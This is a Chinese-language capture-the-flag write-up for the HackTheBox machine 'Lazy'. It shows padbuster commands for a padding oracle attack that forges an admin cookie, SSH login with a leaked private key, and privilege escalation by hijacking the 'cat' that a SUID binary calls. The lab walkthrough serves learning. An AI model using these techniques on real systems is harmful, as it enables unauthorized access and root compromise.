HackTheBox-Machines--Lazy

news2024/11/17 2:56:15

Lazy测试过程

1 信息收集

1.端口扫描

发现 SSH（22）、HTTP（80）端口

nmap -sC -sV 10.129.159.51

在这里插入图片描述

2.访问 80 端口

在这里插入图片描述

1.页面中存在注册功能，测试注册功能

在这里插入图片描述

页面返回登录页面及用户名

在这里插入图片描述

使用burpsuite观察注册请求 /register.php

在这里插入图片描述

2.cookie 测试

登录请求 /index.php，观察cookie，auth不是标准的 PHP 会话管理 cookie，测试auth

在这里插入图片描述

测试auth，在更改auth的值后，响应显示 Invalid padding，根据响应，猜测可能存在 padding 漏洞

在这里插入图片描述

2 padding 攻击

1.padding oracle攻击技术

padding oracle攻击技术 是指使用密文的填充验证信息来进行解密的攻击方法。密码学中，可变长度的明文信息通常需要经填充后才能兼容基础的密码原语。

攻击者可以拦截加密算法加密的消息。通过padding oracle攻击技术，在不清楚 key 和 IV 的前提下解密任意给定的密文。

使用padbuster工具进行测试：

http://10.129.139.45/index.php
[EncryptedSample] -- Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT一个有效的 cookie
[BlockSize] - 8，一般为 8 或 16。
-cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT -- 向 padbuster 传递数据的存放位置
-encoding 0 -- base64

padbuster http://10.129.139.45/index.php Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT 8 -cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT encoding 0

在这里插入图片描述

使用 padbuster工具加密admin

padbuster http://10.129.139.45/index.php Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT 8 -cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT encoding 0 -plaintext user=admin

在这里插入图片描述

获取权限

获取到新的cookie，使用cookie进行登录，替换cookie，刷新/index.php

BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA

在这里插入图片描述

使用admin账户登录成功，页面URI显示用户为 mitsos，及一个RSA私钥

在这里插入图片描述

SSH登录

chmod 600 id_rsa 
ssh -i id_rsa mitsos@10.129.139.45

在这里插入图片描述

3 权限提升

在这里插入图片描述

在 mitsos 的主目录中有一个 根 SUID 二进制文件backup ，以及 cat 命令，运行backup，它输出的内容类似于 /etc/shadow，该文件只能由 root 读取

在这里插入图片描述

因为suid程序正在调用cat命令，我们可以编辑cat使用sudo权限打开/bin/sh

在这里插入图片描述

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1713747.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！